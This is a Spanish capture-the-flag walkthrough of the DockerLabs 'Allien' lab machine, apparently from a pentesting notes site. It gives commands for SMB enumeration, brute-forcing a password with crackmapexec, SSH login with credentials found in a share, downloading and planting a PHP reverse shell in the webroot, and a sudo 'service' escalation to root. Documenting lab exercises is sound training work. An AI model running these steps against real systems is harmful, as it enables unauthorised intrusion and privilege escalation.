> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/allien.md).

# Allien

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH, HTTP y SMB.

La cadena empieza enumerando SMB con acceso anonimo. En el recurso `myshare` aparece `access.txt`, que contiene un JWT. Al decodificarlo se obtiene una pista hacia el usuario `satriani7`. Despues, la enumeracion de usuarios SMB confirma varias cuentas y una fuerza bruta controlada permite encontrar la password de `satriani7`.

Con esas credenciales se accede al recurso privado `backup24`, donde se descarga un archivo con credenciales internas. La password de `administrador` permite entrar por SSH. Desde ahi se sube una reverse shell PHP al directorio web, se obtiene una shell como `www-data` y se escala a `root` abusando de una regla `sudo` peligrosa sobre `/usr/sbin/service`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b36dcbd263f48bca29c0b92c137eb28ddb102394%2F2026-06-01-21-15-46.png?alt=media" alt="Escaneo Nmap"></div>

El escaneo muestra cuatro puertos abiertos:

| Puerto  | Servicio | Version                    |
| ------- | -------- | -------------------------- |
| 22/tcp  | SSH      | OpenSSH 9.6p1 Ubuntu       |
| 80/tcp  | HTTP     | Apache httpd 2.4.58 Ubuntu |
| 139/tcp | SMB      | Samba smbd 4               |
| 445/tcp | SMB      | Samba smbd 4               |

El puerto 80 muestra una pagina de login, pero el vector mas directo empieza por SMB.

***

## Enumeracion SMB

Se listan recursos SMB sin credenciales:

```bash
smbclient -L //172.17.0.2 -N
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b8b4fab45a58638f200fb14dce7c87c8e23f3031%2F2026-06-01-21-16-30.png?alt=media" alt="Listado SMB anonimo"></div>

Aparecen varios recursos interesantes:

| Recurso    | Comentario                           |
| ---------- | ------------------------------------ |
| `myshare`  | Carpeta compartida sin restricciones |
| `backup24` | Privado                              |
| `home`     | Produccion                           |

El recurso `myshare` permite acceso anonimo:

```bash
smbclient //172.17.0.2/myshare -N
ls
get access.txt
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-be667940b5599d4301380b9332ad3ae9c6cb8fd2%2F2026-06-01-21-17-31.png?alt=media" alt="Descarga de access.txt por SMB"></div>

Al leer `access.txt` se observa una cadena con formato de token JWT:

```bash
cat access.txt
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-34ff5dc90de55132b7c6f039ebfff3bb77ce096e%2F2026-06-01-21-17-44.png?alt=media" alt="Token JWT en access.txt"></div>

***

## Analisis del JWT

Se decodifica la primera parte del token con Base64:

```bash
echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-24fb800d07970c4fc1076f46e1d3ec617979ab1b%2F2026-06-01-21-20-57.png?alt=media" alt="Header JWT"></div>

El header indica que se trata de un JWT firmado con `RS256`:

```json
{"alg":"RS256","typ":"JWT"}
```

Tambien se decodifica el payload:

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-984e14fd31caed8c076db3b9d7b3af77deda2321%2F2026-06-01-21-22-43.png?alt=media" alt="Payload JWT"></div>

El payload contiene un correo interesante:

```
satriani7@eseemeb.dl
```

De ese correo se extrae el posible usuario:

```
satriani7
```

***

## Usuarios y fuerza bruta SMB

Se enumeran usuarios del dominio SMB:

```bash
enum4linux -a 172.17.0.2
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-f513b70060cbdafbec8c6f35d4585abf10ea9fd6%2F2026-06-01-21-26-40.png?alt=media" alt="Usuarios SMB"></div>

Aparecen varias cuentas:

```
usuario1
usuario3
administrador
usuario2
satriani7
```

Con el usuario `satriani7` se realiza fuerza bruta contra SMB usando `rockyou.txt`:

```bash
crackmapexec smb 172.17.0.2 -u satriani7 -p /usr/share/wordlists/rockyou.txt
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-d9f8b3f1b284acea53362998e32ad32ba8cb83c1%2F2026-06-01-21-28-26.png?alt=media" alt="CrackMapExec SMB"></div>

Tras varios intentos fallidos, CrackMapExec encuentra una password valida:

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b8592d340e8eac3658cee0b85df6a17c0dd3f478%2F2026-06-01-21-28-16.png?alt=media" alt="Password SMB de satriani7"></div>

Credenciales encontradas:

```
satriani7:50cent
```

***

## Recurso backup24

Con las credenciales de `satriani7` se accede al recurso `backup24`:

```bash
smbclient //172.17.0.2/backup24 -U satriani7
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-a71c86747ad3ba540968eedd5bc1106236e05c96%2F2026-06-01-21-30-49.png?alt=media" alt="backup24 por SMB"></div>

Dentro de `Documents\Personal` aparecen dos archivos:

```
credentials.txt
notes.txt
```

Se descargan ambos, y `credentials.txt` contiene credenciales internas:

```bash
cat credentials.txt
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c10649843b556a3ab36b03f551d40201a997e734%2F2026-06-01-21-31-27.png?alt=media" alt="Credenciales internas"></div>

Entre ellas aparece la cuenta de `administrador`:

```
administrador:Adm1nP4ss2024
```

***

## Acceso SSH

Se prueban las credenciales por SSH:

```bash
ssh administrador@172.17.0.2
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-e41f1a87352fc8b8a3fa12d7d06f4295d8909a1a%2F2026-06-01-21-32-34.png?alt=media" alt="SSH como administrador"></div>

El acceso funciona correctamente y se obtiene una shell como `administrador`.

Se comprueban permisos de `sudo` y binarios SUID:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-510fe9a7e115fa717942d98784f7f80579aa383a%2F2026-06-01-21-33-26.png?alt=media" alt="Enumeracion local como administrador"></div>

El usuario `administrador` no puede ejecutar comandos con `sudo`, y la busqueda SUID no muestra una via clara. Sin embargo, el usuario puede escribir en el directorio web `/var/www/html`.

***

## Reverse shell web

Desde `/var/www/html`, se descarga una reverse shell PHP servida desde la maquina atacante:

```bash
cd /var/www/html
wget http://172.17.0.1:8080/revshell.php
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-8fc7d1cc1718fe4748fe2cc79fcd8d18982d0ffa%2F2026-06-01-21-44-11.png?alt=media" alt="Descarga de revshell.php en webroot"></div>

Se ejecuta el archivo desde el navegador:

```
http://172.17.0.2/revshell.php
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-e7e7994e936e2d05534c8ca62b8100a3ab484739%2F2026-06-01-21-44-48.png?alt=media" alt="Ejecucion de revshell.php"></div>

La conexion llega como `www-data`. Al revisar `sudo -l`, el usuario puede ejecutar `/usr/sbin/service` como root sin password:

```
(ALL) NOPASSWD: /usr/sbin/service
```

***

## Escalada a root

Se consulta GTFOBins para `service`:

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-162dbf96a85b845697983a914607828eb12046d4%2F2026-06-01-21-44-56.png?alt=media" alt="GTFOBins service"></div>

La tecnica permite lanzar una shell usando una ruta relativa:

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-651258466e8a81be26ba6ba33b0e773d3d584631%2F2026-06-01-21-45-50.png?alt=media" alt="Comando service para shell"></div>

La referencia completa indica que puede ejecutarse como usuario sin privilegios, y en este caso se combina con `sudo`:

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c7d38e9a28af93d65e3cb619a15d39b2d3fbeb69%2F2026-06-01-21-46-08.png?alt=media" alt="GTFOBins service completo"></div>

Se ejecuta:

```bash
sudo /usr/sbin/service ../../bin/sh
whoami
```

<div align="center"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-f4326199e386b16441a36e38dfabbabc1b78ee19%2F2026-06-01-21-46-33.png?alt=media" alt="Shell root con service"></div>

La salida confirma que la shell es de `root`.

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH, HTTP y SMB.
2. Enumeracion SMB anonima con `smbclient`.
3. Acceso a `myshare` y descarga de `access.txt`.
4. Decodificacion del JWT y obtencion del usuario `satriani7`.
5. Enumeracion de usuarios SMB.
6. Fuerza bruta SMB hasta obtener `satriani7:50cent`.
7. Acceso al recurso privado `backup24`.
8. Descarga de `credentials.txt` con credenciales internas.
9. Acceso SSH como `administrador`.
10. Subida de una reverse shell PHP a `/var/www/html`.
11. Shell como `www-data`.
12. Abuso de `sudo /usr/sbin/service` para obtener shell como `root`.
